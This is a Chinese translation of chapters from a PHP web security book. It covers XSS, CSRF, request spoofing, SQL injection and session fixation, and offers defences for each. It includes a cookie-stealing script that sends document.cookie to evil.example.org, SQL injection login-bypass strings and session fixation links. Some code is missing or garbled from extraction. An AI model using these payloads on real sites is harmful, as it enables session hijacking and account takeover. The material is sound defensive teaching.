跨站脚本攻击是众所周知的攻击方式之一。所有平台上的 Web 应用都深受其扰，PHP 应用也不例外。

所有有输入的应用都面临着风险。Webmail，论坛，留言本，甚至是 Blog。事实上，大多数 Web 应用提供输入是出于更吸引人气的目的，但同时这也会把自己置于危险之中。如果输入没有正确地进行过滤和转义，跨站脚本漏洞就产生了。

以一个允许在每个页面上录入评论的应用为例，它使用了下面的表单帮助用户进行提交：

```
<form action="comment.php" method="POST" />
<p>Name: <input type="text" name="name" /><br />
Comment: <textarea name="comment" rows="10" cols="60"></textarea><br />
```

```
<input type="submit" value="Add Comment" /></p>
</form>
```

程序向其他访问该页面的用户显示评论。例如，类似下面的代码段可能被用来输出一个评论($comment)及与之对应的发表人（$name）：

```
<?php
echo "<p>$name writes:<br />";
echo "<blockquote>$comment</blockquote></p>";
?>
```

这个流程对$comment 及$name 的值给予了充分的信任，想象一下它们中的一个的内容中包含如下代码：

```
<script>
document.location =
'http://evil.example.org/steal.php?cookies=' +
document.cookie
</script>
```

如果你的用户察看这个评论时，这与你允许别人在你的网站源程序中加入 Javascript 代码无异。你的用户会在不知不觉中把他们的 cookies(浏览网站的人)发送到 evil.example.org，而接收程序(steal.php)可以通过$_GET['cookies']变量防问所有的 cookies。

这是一个常见的错误，主要是由于不好的编程习惯引发的。幸运的是此类错误很容易避免。由于这种风险只在你输出了被污染数据时发生，所以只要确保做到如第一章所述的过滤输入及转义输出即可

最起码你要用 htmlentities( )对任何你要输出到客户端的数据进行转义。该函数可以把所有的特殊字符转换成 HTML 表示方式。所有会引起浏览器进行特殊处理的字符在进行了转换后，就能确保显示出来的是原来录入的内容。

由此，用下面的代码来显示评论是更安全的：

```
<?php
$clean = array();
$html = array();
/* Filter Input ($name, $comment) */
$html['name'] = htmlentities($clean['name'], ENT_QUOTES, 'UTF-8');
$html['comment'] = htmlentities($clean['comment'], ENT_QUOTES, 'UTF-8');
echo "<p>{$html['name']} writes:<br />";
echo "<blockquote>{$html['comment']}</blockquote></p>";
```

```
?>
```

2.5. 跨站请求伪造

跨站请求伪造(CSRF)是一种允许攻击者通过受害者发送任意 HTTP 请求的一类攻击方法。此处所指的受害者是一个不知情的同谋，所有的伪造请求都由他发起，而不是攻击者。这样，很你就很难确定哪些请求是属于跨站请求伪造攻击。事实上，如果没有对跨站请求伪造攻击进行特意防范的话，你的应用很有可能是有漏洞的。

请看下面一个简单的应用，它允许用户购买钢笔或铅笔。界面上包含下面的表单：

```
<form action="buy.php" method="POST">
<p>
Item:
<select name="item">
<option name="pen">pen</option>
<option name="pencil">pencil</option>
</select><br />
Quantity: <input type="text" name="quantity" /><br />
<input type="submit" value="Buy" />
</p>
</form>
```

一个攻击者会首先使用你的应用以收集一些基本信息。例如，攻击者首先访问表单并发现两个表单元素 item 及 quantity，他也同时知道了 item 的值会是铅笔或是钢笔。

下面的 buy.php 程序处理表单的提交信息：

```
<?php
session_start();
$clean = array();
if (isset($_REQUEST['item'] && isset($_REQUEST['quantity']))
{
/* Filter Input ($_REQUEST['item'], $_REQUEST['quantity']) */
if (buy_item($clean['item'], $clean['quantity']))
{
echo '<p>Thanks for your purchase.</p>';
}
else
{
echo '<p>There was a problem with your order.</p>';
```

```
}
}
?>
```

攻击者会首先使用这个表单来观察它的动作。例如，在购买了一支铅笔后，攻击者知道了在购买成功后会出现感谢信息。注意到这一点后，攻击者会尝试通过访问下面的 URL 以用 GET 方式提交数据是否能达到同样的目的：

http://store.example.org/buy.php?item=pen&quantity=1

如果能成功的话，攻击者现在就取得了当合法用户访问时，可以引发购买的 URL 格式。在这种情况下，进行跨站请求伪造攻击非常容易，因为攻击者只要引发受害者访问该 URL 即可。

虽然有多种发起跨站请求伪造攻击的方式，但是使用嵌入资源如图片的方式是最普遍的。为了理解这个攻击的过程，首先有必要了解浏览器请求这些资源的方式。

当你访问 http://www.google.com (图 2-1)，你的浏览器首先会请求这个 URL 所标识的资源。你可以通过查看该页的源文件（HTML）的方式来看到该请求的返回内容。在浏览器解析了返回内容后发现了 Google 的标志图片。这个图片是以 HTML 的 img 标签表示的，该标签的 src 属性表示了图片的 URL。浏览器于是再发出对该图片的请求，以上这两次请求间的不同点只是 URL 的不同。

图 2-1. Google 的首页

A CSRF attack can use an img tag to leverage this behavior. Consider visiting a web site with the following image identified in the source:

根据上面的原理，跨站请求伪造攻击可以通过 img 标签来实现。考虑一下如果访问包括下面的源代码的网页会发生什么情况：

由于 buy.php 脚本使用$_REQUEST 而不是$_POST，这样每一个只要是登录在 store.example.org 商店上的用户就会通过请求该 URL 购买 50 支铅笔。

跨站请求伪造攻击的存在是不推荐使用$_REQUEST 的原因之一。

完整的攻击过程见图 2-2。

图 2-2. 通过图片引发的跨站请求伪造攻击

当请求一个图片时，某些浏览器会改变请求头部的 Accept 值以给图片类型以一个更高的优先权。需要采用保护措施以防止这种情况的发生。

你需要用几个步骤来减轻跨站请求伪造攻击的风险。一般的步骤包括使用 POST 方式而不是使用 GET 来提交表单，在处理表单提交时使用$_POST 而不是 $_REQUEST，同时需要在重要操作时进行验证（越是方便，风险越大，你需要求得方便与风险之间的平衡）。

任何需要进行操作的表单都要使用 POST 方式。在 RFC 2616(HTTP/1.1 传送协议，译注)的 9.1.1 小节中有一段描述：

“特别需要指出的是，习惯上 GET 与 HEAD 方式不应该用于引发一个操作，而只是用于获取信息。这些方式应该被认为是‘安全’的。客户浏览器应以特殊的方式，如 POST，PUT 或 DELETE 方式来使用户意识到正在请求进行的操作可能是不安全的。”

最重要的一点是你要做到能强制使用你自己的表单进行提交。尽管用户提交的数据看起来象是你表单的提交结果，但如果用户并不是在最近调用的表单，这就比较可疑了。请看下面对前例应用更改后的代码：

```
<?php
session_start();
$token = md5(uniqid(rand(), TRUE));
$_SESSION['token'] = $token;
$_SESSION['token_time'] = time();
?>

<form action="buy.php" method="POST">
<input type="hidden" name="token" value="<?php echo $token; ?>" />
<p>
Item:
<select name="item">
<option name="pen">pen</option>
<option name="pencil">pencil</option>
</select><br />
Quantity: <input type="text" name="quantity" /><br />
<input type="submit" value="Buy" />
</p>
</form>
```

通过这些简单的修改，一个跨站请求伪造攻击就必须包括一个合法的验证码以完全模仿表单提交。由于验证码的保存在用户的 session 中的，攻击者必须对每个受害者使用不同的验证码。这样就有效的限制了对一个用户的任何攻击，它要求攻击者获取另外一个用户的合法验证码。使用你自己的验证码来伪造另外一个用户的请求是无效的。

该验证码可以简单地通过一个条件表达式来进行检查：

```
<?php
if (isset($_SESSION['token']) &&
$_POST['token'] == $_SESSION['token'])
{
/* Valid Token */
}
?>
```

你还能对验证码加上一个有效时间限制，如 5 分钟：

```
<?php
$token_age = time() - $_SESSION['token_time'];
if ($token_age <= 300)
{
/* Less than five minutes has passed. */
}
?>
```

通过在你的表单中包括验证码，你事实上已经消除了跨站请求伪造攻击的风险。可以在任何需要执行操作的任何表单中使用这个流程。

尽管我使用 img 标签描述了攻击方法，但跨站请求伪造攻击只是一个总称，它是指所有攻击者通过伪造他人的 HTTP 请求进行攻击的类型。已知的攻击方法同时包括对 GET 和 POST 的攻击，所以不要认为只要严格地只使用 POST 方式就行了。

2.6. 欺骗表单提交

制造一个欺骗表单几乎与假造一个 URL 一样简单。毕竟，表单的提交只是浏览器发出的一个 HTTP 请求而已。请求的部分格式取决于表单，某些请求中的数据来自于用户。

大多数表单用一个相对 URL 地址来指定 action 属性：

当表单提交时，浏览器会请求 action 中指定的 URL，同时它使用当前的 URL 地址来定位相对 URL。例如，如果之前的表单是对 http://example.org/path/to/form.php 请求的回应所产生的，则在用户提交表单后会请求 URL 地址 http://example.org/path/to/process.php。

知道了这一点，很容易就能想到你可以指定一个绝对地址，这样表单就可以放在任何地方了：

这个表单可以放在任何地方，并且使用这个表单产生的提交与原始表单产生的提交是相同的。意识到这一点，攻击者可以通过查看页面源文件并保存在他的服务器上，同时将 action 更改为绝对 URL 地址。通过使用这些手段，攻击者可以任意更改表单，如取消最大字段长度限制，取消本地验证代码，更改隐藏字段的值，或者出于更加灵活的目的而改写元素类型。这些更改帮助攻击者向服务器提交任何数据，同时由于这个过程非常简便易行，攻击者无需是一个专家即可做到。

欺骗表单攻击是不能防止的，尽管这看起来有点奇怪，但事实上如此。不过这你不需要担心。一旦你正确地过滤了输入，用户就必须要遵守你的规则，这与他们如何提交无关。

如果你试验这个技巧时，你可能会注意到大多数浏览器会在 HTTP 头部包括一个 Referer 信息以标识前一个页面的地址。在本例中，Referer 的值是表单的 URL 地址。请不要被它所迷惑而用它来区分你的表单提交还是欺骗表单提交。在下一节的演示中，可以看到 HTTP 头部的也是非常容易假造的，而使用 Referer 来判定的方式又是众所周知的。

2.7. HTTP 请求欺骗

一个比欺骗表单更高级和复杂的攻击方式是 HTTP 请求欺骗。这给了攻击者完全的控制权与灵活性，它进一步证明了不能盲目信任用户提交的任何数据。

为了演示这是如何进行的，请看下面位于 http://example.org/form.php 的表单：

```
<form action="process.php" method="POST">
<p>Please select a color:
<select name="color">
<option value="red">Red</option>
<option value="green">Green</option>
<option value="blue">Blue</option>
</select><br />
<input type="submit" value="Select" /></p>
</form>
```

如果用户选择了 Red 并点击了 Select 按钮后，浏览器会发出下面的 HTTP 请求：

```
POST /process.php HTTP/1.1
Host: example.org
User-Agent: Mozilla/5.0 (X11; U; Linux i686)
Referer: http://example.org/form.php
```

```
Content-Type: application/x-www-form-urlencoded
Content-Length: 9
color=red
```

.

看到大多数浏览器会包含一个来源的 URL 值，你可能会试图使用$_SERVER['HTTP_REFERER']变量去防止欺骗。确实，这可以用于对付利用标准浏览器发起的攻击，但攻击者是不会被这个小麻烦给挡住的。通过编辑 HTTP 请求的原始信息，攻击者可以完全控制 HTTP 头部的值，GET 和 POST 的数据，以及所有在 HTTP 请求的内容。

攻击者如何更改原始的 HTTP 请求？过程非常简单。通过在大多数系统平台上都提供的 Telnet 实用程序，你就可以通过连接网站服务器的侦听端口（典型的端口为 80）来与 Web 服务器直接通信。下面就是使用这个技巧请求 http://example.org/页面的例子：

```
$ telnet example.org 80
Trying 192.0.34.166...
Connected to example.org (192.0.34.166).
Escape character is '^]'.
GET / HTTP/1.1
Host: example.org
HTTP/1.1 200 OK
Date: Sat, 21 May 2005 12:34:56 GMT
Server: Apache/1.3.31 (Unix)
Accept-Ranges: bytes
Content-Length: 410
Connection: close
Content-Type: text/html
<html>
<head>
<title>Example Web Page</title>
</head>
<body>
<p>You have reached this web page by typing "example.com",
"example.net", or "example.org" into your web browser.</p>
<p>These domain names are reserved for use in documentation and are not
available for registration. See
<a href="http://www.rfc-editor.org/rfc/rfc2606.txt">RFC 2606</a>, Section
3.</p>
</body>
</html>
Connection closed by foreign host.
$
```

上例中所显示的请求是符合 HTTP/1.1 规范的最简单的请求，这是因为 Host 信息是头部信息中所必须有的。一旦你输入了表示请求结束的连续两个换行符，整个 HTML 的回应即显示在屏幕上。

Telnet 实用程序不是与 Web 服务器直接通信的唯一方法，但它常常是最方便的。可是如果你用 PHP 编码同样的请求，你可以就可以实现自动操作了。前面的请求可以用下面的 PHP 代码实现：

```
<?php
$http_response = '';
$fp = fsockopen('example.org', 80);
fputs($fp, "GET / HTTP/1.1\r\n");
fputs($fp, "Host: example.org\r\n\r\n");

while (!feof($fp))
{
$http_response .= fgets($fp, 128);
}
fclose($fp);
echo nl2br(htmlentities($http_response, ENT_QUOTES, 'UTF-8'));
?>
```

当然，还有很多方法去达到上面的目的，但其要点是 HTTP 是一个广为人知的标准协议，稍有经验的攻击者都会对它非常熟悉，并且对常见的安全漏洞的攻击方法也很熟悉。

相对于欺骗表单，欺骗 HTTP 请求的做法并不多，对它不应该关注。我讲述这些技巧的原因是为了更好的演示一个攻击者在向你的应用输入恶意信息时是如何地方便。这再次强调了过滤输入的重要性和 HTTP 请求提供的任何信息都是不可信的这个事实。

第三章 数据库及 SQL

PHP 的作用常常是沟通各种数据源及用户的桥梁。事实上，有些人认为 PHP 更像是一个平台而不是一个编程语言。基于这些原因，PHP 频繁用于与数据库的交流。

PHP 可以很好的胜任这个任务，其原因特别是由于它能与很多种数据库连接。下面列举了 PHP 支持的小部分数据库：

DB2

ODBC

SQLite
InterBase
Oracle
Sybase
MySQL
PostgreSQL
DBM

与任何的远程数据存储方式相同，数据库本身也存在着一些风险。尽管数据库安全不是本书讨论的问题，但数据库安全是需要时刻注意的，特别是关于如何对待从数据库读取作为输入的数据的问题。

正如第一章所讨论的，所有输入必需要进行过滤，同时所有的输出必须要转义。当处理数据库时，意味着所有来自数据库的数据要过滤，所有写入数据库的数据要进行转义。

小提示
常犯的错误是忘记了 SELECT 语句本身是向数据库传送的数据。尽管该语句的目的是取得数据，但语句本身则是输出。

很多 PHP 开发人员不会去过滤来自数据库的数据，他们认为数据库内保存的是已过滤的数据。虽然这种做法的安全风险是很小的，但是这不是最好的做法，同时我也不推荐这样做。这种做法是基于对数据库安全的绝对信任，但同时违反了深度防范的原则。如果恶意数据由于某些原因被注入了数据库，如果你有过滤机制的话，就能发现并抓住它。请记住，冗余的安全措施是有价值的，这就是一个很好的例子。

本章包括了其它几个需要关心的主题，包括访问权限暴露及 SQL 注入。SQL 注入是需要特别关注的，这是因为在流行的 PHP 应用中频繁发现了 SQL 注入漏洞。

3.1. 访问权限暴露

数据库使用中需要关注的主要问题之一是访问权限即用户名及密码的暴露。在编程中为了方便，一般都会用一个 db.inc 文件保存，如：

```
<?php
$db_user = 'myuser';
$db_pass = 'mypass';
$db_host = '127.0.0.1';
$db = mysql_connect($db_host, $db_user, $db_pass);
?>
```

用户名及密码都是敏感数据，是需要特别注意的。他们被写在源码中造成了风险，但这是一个无法避免的问题。如果不这么做，你的数据库就无法设置用户名和密码进行保护了。

如果你读过 http.conf（Apache 的配置文件）的默认版本的话，你会发现默认的文件类型是 text/plain（普通文本）。这样，如果 db.inc 这样的文件被保存在网站根目录下时，就引发了风险。所有位于网站根目录下的资源都有相应的 URL，由于 Apache 没有定义对.inc 后缀的文件的处理方式类型，在对这一类文件进行访问时，会以普通文本的类型进行返回（默认类型），这样访问权限就被暴露在客户的浏览器上了。

为了进一步说明这个风险，考虑一下一个以/www 为网站根目录的服务器，如果 db.inc 被保存在/www/inc，它有了一个自己的 URLhttp://example.org/inc/db.inc(假设 example.org 是主机域名)。通过访问该 URL 就可以看到 db.inc 以文本方式显示的源文件。无论你把该文件保存在/www 哪个子目录下，都无法避免访问权限暴露的风险。

对这个问题最好的解决方案是把它保存在网站根目录以外的包含目录中。你无需为了达到包含它们的目的而把它们放至在文件系统中的特定位置，所有只要做的只是保证 Web 服务器对其有读取权限。因此，把它们放在网站根目录下是没有必要的风险，只要包含文件还位于网站根目录下，任何减少风险的努力都是徒劳的。事实上，你只要把必须要通过 URL 访问的资源放置在网站根目录下即可。毕竟这是一个公共的目录。

前面的话题对于 SQLite 数据库也有用。把数据库保存在当前目录下是非常方便的，因为你只要调用文件名而无需指定路径。但是，把数据库保存在网站根目录下就代表着不必要的风险。如果你没有采用安全措施防止直接访问的话，你的数据库就危险了。

如果由于外部因素导致无法做到把所有包含文件放在网站根目录之外，你可以在 Apache 配置成拒绝对.inc 资源的请求。

```
<Files ~ "\.inc$">
Order allow,deny
Deny from all
</Files>
```

译注：如果只是因为要举个例子而这么写的话，可以理解，毕竟大家学到了一些手段，但这个例子未免生硬了一点。实际上只要把该文件更名为 db.inc.php 就可以了。就好象房子破了个洞而不去修补，却在外面去造一个更大的房子把破房子套起来一样。

在第 8 章中你还可以看到另外一种防止数据库访问权限暴露的方法，该方法

对于共享服务器环境（在该环境下尽管文件位于网站根目录之外，但依然存在暴露的风险）非常有效。

3.2. SQL 注入

SQL 注入是 PHP 应用中最常见的漏洞之一。事实上令人惊奇的是，开发者要同时犯两个错误才会引发一个 SQL 注入漏洞，一个是没有对输入的数据进行过滤（过滤输入），还有一个是没有对发送到数据库的数据进行转义（转义输出）。这两个重要的步骤缺一不可，需要同时加以特别关注以减少程序错误。

对于攻击者来说，进行 SQL 注入攻击需要思考和试验，对数据库方案进行有根有据的推理非常有必要（当然假设攻击者看不到你的源程序和数据库方案），考虑以下简单的登录表单：

CODE:

```
<form action="/login.php" method=";POST">
<p>Username: <input type="text" name="username" /></p>
<p>;Password: <input type="password" name="password" /></p>
<p><input type="submit" value="Log In" /></p>
</form>
```

图 3-1 给出了该表单在浏览器中的显示。

作为一个攻击者，他会从推测验证用户名和密码的查询语句开始。通过查看源文件，他就能开始猜测你的习惯。

图 3-1. 登录表单在浏览器中的显示

命名习惯。通常会假设你表单中的字段名为与数据表中的字段名相同。当然，确保它们不同未必是一个可靠的安全措施。

第一次猜测，一般会使用下面例子中的查询：

CODE:

```
<?php

$password_hash = md5($_POST['password']);

$sql = "SELECT count(*)
FROM users
WHERE username = '{$_POST['username']}'
AND password = '$password_hash'";

?>
```

使用用户密码的 MD5 值原来是一个通行的做法，但现在并不是特别安全了。最近的研究表明 MD5 算法有缺陷，而且大量 MD5 数据库降低了 MD5 反向破解

的难度。请访问 http://md5.rednoize.com/ 查看演示。

译注：原文如此，山东大学教授王小云的研究表明可以很快的找到 MD5 的“碰撞”，就是可以产生相同的 MD5 值的不同两个文件和字串。MD5 是信息摘要算法，而不是加密算法，反向破解也就无从谈起了。不过根据这个成果，在上面的特例中，直接使用 md5 是危险的。

最好的保护方法是在密码上附加一个你自己定义的字符串，例如：

```
<?php

$salt = 'SHIFLETT';
$password_hash = md5($salt . md5($_POST['password'] . $salt));

?>
```

当然，攻击者未必在第一次就能猜中，他们常常还需要做一些试验。有一个比较好的试验方式是把单引号作为用户名录入，原因是这样可能会暴露一些重要信息。有很多开发人员在 Mysql 语句执行出错时会调用函数 mysql_error()来报告错误。见下面的例子：

```
<?php

mysql_query($sql) or exit(mysql_error());

?>
```

虽然该方法在开发中十分有用，但它能向攻击者暴露重要信息。如果攻击者把单引号做为用户名，mypass 做为密码，查询语句就会变成：

```
<?php

$sql = "SELECT *
FROM users
WHERE username = '"
AND password = 'a029d0df84eb5549c641e04a9ef389e5'";

?>
```

当该语句发送到 MySQL 后，系统就会显示如下错误信息：

```
You have an error in your SQL syntax. Check the manual that corresponds to
your
MySQL server version for the right syntax to use near 'WHERE username = '"
AND
password = 'a029d0df84eb55
```

不费吹灰之力，攻击者已经知道了两个字段名(username 和 password)以及他们出现在查询中的顺序。除此以外，攻击者还知道了数据没有正确进行过滤（程序没有提示非法用户名）和转义（出现了数据库错误），同时整个 WHERE 条件的格式也暴露了，这样，攻击者就可以尝试操纵符合查询的记录了。

在这一点上，攻击者有很多选择。一是尝试填入一个特殊的用户名，以使查询无论用户名密码是否符合，都能得到匹配：

```
myuser' or 'foo' = 'foo' --
```

假定将 mypass 作为密码，整个查询就会变成：

```
<?php

$sql = "SELECT *
FROM users
WHERE username = 'myuser' or 'foo' = 'foo' --
AND password = 'a029d0df84eb5549c641e04a9ef389e5'";

?>
```

由于中间插入了一个 SQL 注释标记，所以查询语句会在此中断。这就允许了一个攻击者在不知道任何合法用户名和密码的情况下登录。

如果知道合法的用户名，攻击者就可以该用户(如 chris)身份登录：

```
chris' --
```

只要 chris 是合法的用户名，攻击者就可以控制该帐号。原因是查询变成了下面的样子：

```
<?php
$sql = "SELECT *
FROM users
WHERE username = 'chris' --
AND password = 'a029d0df84eb5549c641e04a9ef389e5'";
?>
```

幸运的是，SQL 注入是很容易避免的。正如第一章所提及的，你必须坚持过滤输入和转义输出。

虽然两个步骤都不能省略，但只要实现其中的一个就能消除大多数的 SQL 注入风险。如果你只是过滤输入而没有转义输出，你很可能会遇到数据库错误（合法的数据也可能影响 SQL 查询的正确格式），但这也不可靠，合法的数据还可能

改变 SQL 语句的行为。另一方面，如果你转义了输出，而没有过滤输入，就能保证数据不会影响 SQL 语句的格式，同时也防止了多种常见 SQL 注入攻击的方法。

当然，还是要坚持同时使用这两个步骤。过滤输入的方式完全取决于输入数据的类型（见第一章的示例），但转义用于向数据库发送的输出数据只要使用同一个函数即可。对于 MySQL 用户，可以使用函数 mysql_real_escape_string( )：

```
<?php

$clean = array();
$mysql = array();

$clean['last_name'] = "O'Reilly";
$mysql['last_name'] = mysql_real_escape_string($clean['last_name']);

$sql = "INSERT
INTO user (last_name)
VALUES ('{$mysql['last_name']}')";

?>
```

尽量使用为你的数据库设计的转义函数。如果没有，使用函数 addslashes( ) 是最终的比较好的方法。

当所有用于建立一个 SQL 语句的数据被正确过滤和转义时，实际上也就避免了 SQL 注入的风险。

如果你正在使用支持参数化查询语句和占位符的数据库操作类（如 PEAR::DB, PDO 等），你就会多得到一层保护。见下面的使用 PEAR::DB 的例子：

```
<?php
$sql = 'INSERT
INTO user (last_name)
VALUES (?)';
$dbh->query($sql, array($clean['last_name']));
?>
```

由于在上例中数据不能直接影响查询语句的格式，SQL 注入的风险就降低了。PEAR::DB 会自动根据你的数据库的要求进行转义，所以你只需要过滤输出即可。

如果你正在使用参数化查询语句，输入的内容就只会作为数据来处理。这样

就没有必要进行转义了，尽管你可能认为这是必要的一步（如果你希望坚持转义输出习惯的话）。实际上，这时是否转义基本上不会产生影响，因为这时没有特殊字符需要转换。在防止 SQL 注入这一点上，参数化查询语句为你的程序提供了强大的保护。

译注：关于 SQL 注入，不得不说的是现在大多虚拟主机都会把 magic_quotes_gpc 选项打开，在这种情况下所有的客户端 GET 和 POST 的数据都会自动进行 addslashes 处理，所以此时对字符串值的 SQL 注入是不可行的，但要防止对数字值的 SQL 注入，如用 intval()等函数进行处理。但如果你编写的是通用软件，则需要读取服务器的 magic_quotes_gpc 后进行相应处理。

3.3. 数据的暴露

关于数据库，另外需要关心的一点是敏感数据的暴露。不管你是否保存了信用卡号，社会保险号，或其它数据，你还是希望确认数据库是安全的。

虽然数据库安全已经超出了本书所讨论的范围（也不是 PHP 开发者要负责的），但是你可以加密最敏感的数据，这样只要密钥不泄露，数据库的安全问题就不会造成灾难性的后果。（关于加密的详细介绍参见本书附录 C）

第四章 会话与 Cookies

本章主要讨论会话和有状态的 Web 应用的内在风险。你会首先学习状态、cookies、与会话；然后我会讨论关于 cookie 盗窃、会话数据暴露、会话固定、及会话劫持的问题及防范它们的方法。

正如大家知道的，HTTP 是一种无状态的协议。这说明了两个 HTTP 请求之间缺乏联系。由于协议中未提供任何让客户端标识自己的方法，因此服务器也就无法区分客户端。

虽然 HTTP 无状态的特性还是有一些好处，毕竟维护状态是比较麻烦的，但是它向需要开发有状态的 Web 应用的开发人员提出了前所未有的挑战。由于无法标识客户端，就不可能确认用户是否已登录，在购物车中加入商品，或者是需要注册。

一个最初由网景公司构思的超强解决方案诞生了，它就是被命名为 cookies 的一种状态管理机制。Cookies 是对 HTTP 协议的扩充。更确切地说，它们由两个 HTTP 头部组成：Set-Cookie 响应头部和 Cookie 请求头部。

当客户端发出对一个特定 URL 的请求时，服务器会在响应时选择包含一个

Set-Cookie 头部。它要求客户端在下面的请求中包含一个相就的 Cookie 头部。图 4-1 说明了这个基本的交互过程。

图 4-1. 两个 HTTP 事务间 Cookie 的完整交互过程

如果你根据这个基本概念在每一个请求中包含同一个唯一标识码（在 cookie 头部中），你就能唯一标识客户端从而把它发出的所有请求联系起来。这就是状态所要求的，同时也是这一机制的主要应用。

小提示

迄今为止，最好的 cookies 使用指南依然是网景公司提供的规范，网址是：http://wp.netscape.com/newsref/std/cookie_spec.html 。它是最类似和接近于全行业支持的标准。

基于会话管理的概念，可以通过管理每一个客户端的各自数据来管理状态。数据被存储在会话存储区中，通过每一次请求进行更新。由于会话记录在存储时有唯一的标识，因此它通常被称为会话标识。

如果你使用 PHP 内建的会话机制，所有的这些复杂过程都会由 PHP 为你处理。当你调用函数 session_start()时，PHP 首先要确认在本次请求中是否包含会话标识。如果有的话，PHP 就会读取该会话数据并通过$_SESSION 超级公用数组提供给你。如果不存在，PHP 会生成一个会话标识并在会话存储区建立一个新记录。PHP 还会处理会话标识的传递并在每一个请求时更新会话存储区。图 4-2 演示了这个过程。

虽然这很简便有效，但最重要的还是要意识到这并不是一个完整的解决方案，因为在 PHP 的会话机制中没有内建的安全处理。除此之外，由于会话标识是完全随机产生的，因此是不可预测的。你必须自行建立安全机制以防止所有其它的会话攻击手段。在本章中，我会提出一些问题，并提供相应的解决方案。

4.1. Cookie 盗窃

因使用 Cookie 而产生的一个风险是用户的 cookie 会被攻击者所盗窃。如果会话标识保存在 cookie 中，cookie 的暴露就是一个严重的风险，因为它能导致会话劫持。

图 4-2. PHP 为你处理相关会话管理的复杂过程

最常见的 cookie 暴露原因是浏览器漏洞和跨站脚本攻击（见第 2 章）。虽然现在并没有已知的该类浏览器漏洞，但是以往出现过几例，其中最有名的一例同时发生在 IE 浏览器的 4.0，5.0，5.5 及 6.0 版本（这些漏洞都有相应补丁提供）。

虽然浏览器漏洞的确不是 web 开发人员的错，但是你可以采取步骤以减轻它对用户的威胁。在某些情况下，你可能通过使用一些安全措施有效地消除风险。至少你可以告诉和指导用户打上修正漏洞的安全补丁。

基于以上原因，知道新的安全漏洞是很有必要的。你可以跟踪下面提供的几个网站和邮件列表，同时有很多服务提供了 RSS 推送，因此只要订阅 RSS 即可以得到新安全漏洞的警告。SecurityFocus 网站维护着一系列软件漏洞的列表（http://online.securityfocus.com/vulnerabilities），你可以通过开发商、主题和版本进行检索。PHP 安全协会也维护着 SecurityFocus 的所有最新通知。（http://phpsec.org/projects/vulnerabilities/securityfocus.html）

跨站脚本攻击是攻击者盗窃 cookie 的更为常见的手段。其中之一已有第二章中描述。由于客户端脚本能访问 cookies，攻击者所要的送是写一段传送数据的脚本即可。唯一能限制这种情况发生的因素只有攻击者的创造力了。

防止 cookie 盗窃的手段是通过防止跨站脚本漏洞和检测导致 cookie 暴露的浏览器漏洞相结合。由于后者非常少见（此类漏洞将来也会比较罕见），所以它并不是需要关心的首要问题，但还是最好要紧记。

4.2. 会话数据暴露

会话数据常会包含一些个人信息和其它敏感数据。基于这个原因，会话数据的暴露是被普遍关心的问题。一般来说，暴露的范围不会很大，因为会话数据是保存在服务器环境中的，而不是在数据库或文件系统中。因此，会话数据自然不会公开暴露。

使用 SSL 是一种特别有效的手段，它可以使数据在服务器和客户端之间传送时暴露的可能性降到最低。这对于传送敏感数据的应用来说非常重要。SSL 在 HTTP 之上提供了一个保护层，以使所有在 HTTP 请求和应答中的数据都得到了保护。

如果你关心的是会话数据保存区本身的安全，你可以对会话数据进行加密，这样没有正确的密钥就无法读取它的内容。这在 PHP 中非常容易做到，你只要使用 session_set_save_handler( )并写上你自己的 session 加密存储和解密读取的处理函数即可。关于加密会话数据保存区的问题，参见附录 C。

4.3. 会话固定

关于会话，需要关注的主要问题是会话标识的保密性问题。如果它是保密的，就不会存在会话劫持的风险了。通过一个合法的会话标识，一个攻击者可以非常成功地冒充成为你的某一个用户。

一个攻击者可以通过三种方法来取得合法的会话标识：

- 猜测
- 捕获

1 固定

PHP 生成的是随机性很强的会话标识，所以被猜测的风险是不存在的。常见的是通过捕获网络通信数据以得到会话标识。为了避免会话标识被捕获的风险，可以使用 SSL，同时还要对浏览器漏洞及时修补。

小提示

要记住浏览器会根据请求中的 Set-cookie 头部中的要求对之后所有的请求中都包含一个相应的 Cookie 头部。最常见的是，会话标识会无谓的在对一些嵌入资源如图片的请求中被暴露。例如，请求一个包含 10 个图片的网页时，浏览器会发出 11 个带有会话标识的请求，但只有一个是有必要带有标识的。为了防止这种无谓的暴露，你可以考虑把所有的嵌入资源放在有另外一个域名的服务器上。

会话固定是一种诱骗受害者使用攻击者指定的会话标识的攻击手段。这是攻击者获取合法会话标识的最简单的方法。

在这个最简单的例子中，使用了一个链接进行会话固定攻击：

Click Here

另外一个方法是使用一个协议级别的转向语句：

header('Location: http://example.org/index.php?PHPSESSID=1234');

?>

这也可以通过 Refresh 头部来进行，产生该头部的方法是通过真正的 HTTP 头部或 meta 标签的 http-equiv 属性指定。攻击者的目标是让用户访问包含有攻击者指定的会话标识的 URL。这是一个基本的攻击的第一步，完整的攻击过程见图 4-3 所示。

Figure 4-3. 使用攻击者指定的会话标识进行的会话固定攻击

如果成功了，攻击者就能绕过抓取或猜测合法会话标识的需要，这就使发起更多和更危险的攻击成为可能。

为了更好地使你理解这一步骤，最好的办法是你自己尝试一下。首先建立一个名为 fixation.php 的脚本：

session_start();

$_SESSION['username'] = 'chris';

?>

确认你没有保存着任何当前服务器的 cookies，或通过清除所有的 cookies 以确保这一点。通过包含 PHPSESSID 的 URL 访问 fixation.php：

http://example.org/fixation.php?PHPSESSID=1234

它建立了一个值为 chris 的会话变量 username。在检查会话存储区后发现 1234 成为了该数据的会话标识：

$ cat /tmp/sess_1234username|s:5:"chris";

建立第二段脚本 test.php，它在$_SESSION[‘username’] 存在的情况下即输入出该值：

session_start();

if (isset($_SESSION['username']))

{

```
echo $_SESSION['username'];
}
?>
```

在另外一台计算机上或者在另一个浏览器中访问下面的 URL，同时该 URL 指定了相同的会话标识：

http://example.org/test.php?PHPSESSID=1234

这使你可以在另一台计算机上或浏览器中（模仿攻击者所在位置）恢复前面在 fixation.php 中建立的会话。这样，你就作为一个攻击者成功地劫持了一个会话。

很明显，我们不希望这种情况发生。因为通过上面的方法，攻击者会提供一个到你的应用的链接，只要通过这个链接对你的网站进行访问的用户都会使用攻击者所指定的会话标识。

产生这个问题的一个原因是会话是由 URL 中的会话标识所建立的。当没有指定会话标识时，PHP 就会自动产生一个。这就为攻击者大开了方便之门。幸运的是，我们以可以使用 session_regenerate_id( )函数来防止这种情况的发生。

```
session_start();
if (!isset($_SESSION['initiated']))
{
session_regenerate_id();
$_SESSION['initiated'] = TRUE;
}
?>
```

